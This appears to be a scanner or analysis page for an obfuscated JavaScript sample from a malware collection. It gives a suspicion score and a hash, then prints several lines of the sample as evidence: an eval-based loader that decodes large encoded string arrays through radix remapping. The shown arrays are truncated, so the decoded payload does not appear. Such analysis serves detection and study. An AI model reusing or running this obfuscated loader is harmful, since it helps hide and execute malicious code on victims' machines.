Suspicious ^80% javascript-malware-collection Download

20151210_6e1a5e91dda2bf1b5801f621934e51e0.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256d13962b13c0464d2b17e6d997757d31bc0a335aecce983a87a791dcd27a3f5d8

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var shEGyVurlACic=[];
2jjINjsy=(-98+98)/937;while(true){if(jjINjsy>=(88690+14)/693){break;}shEGyVurlACic[jjINjsy]=String.fromCharCode(jjINjsy);jjINjsy++;}
3function QjCgp(LRluRaHxDiP,feYJAMYvdFvHX,ISvJJHbe){rmTc=parseInt(LRluRaHxDiP,feYJAMYvdFvHX);wGNJW=rmTc.toString(ISvJJHbe);return wGNJW;}function gOoYYhRtnVEeWvv(yUmkiOaKbtxfTqhmY){eval(yUmkiOaKbtxfTqhmY)}
4function KcEWRtsskuAKeQuPvcqdmkVsBHOfxasTYxuIsqKzqzQODLZRlJBGWE(WDOCcqhYcDuwX,NfjFtviIEWnLML){ return shEGyVurlACic[QjCgp(WDOCcqhYcDuwX[NfjFtviIEWnLML],(1477+298)/71,(4620+70)/469)];}
5function uIUezpJ(RDZrJZWAaqzpScMQMDhyfIDNLPnIyaYxFxUp) {return !isNaN(parseFloat(RDZrJZWAaqzpScMQMDhyfIDNLPnIyaYxFxUp)) && isFinite(RDZrJZWAaqzpScMQMDhyfIDNLPnIyaYxFxUp);}
6function IaDGYugsZHk(PRXFLPZy,UoMDOd){return PRXFLPZy.split(UoMDOd)}
7var J=[];J[0]="d";J[1]="a";J[2]="d";J[3]="a";J[4]="4i";J[5]="3m";J[6]="4e";J[7]="17";J[8]="43";J[9]="17";J[10]="2b";J …

Massive array index assignment line 8

8:4348… ";O[863]="4g";O[864]="4e";O[865]="4l";O[866]="17";O[867]="17";O[868]="4n";O[869]="d";O[870]="a";O[871]="17";O[872]="17";O[873]="17";O[874]="17";O[875]="17";O[876]="17";O[877]="17";O[878]="17";O[879]="17";O[880]="17";O[881]="45";O[882]="42";O[883]="17";O[884]="1f";O[885]="1f";O[886]="1f";O[887]="4a";O[888]="41";O[889]="4j";O[890]="17";O[891]="2i";O[892]="3m";O[893]="4g";O[894]="41";O[895]="1f";O[896]="1g";O …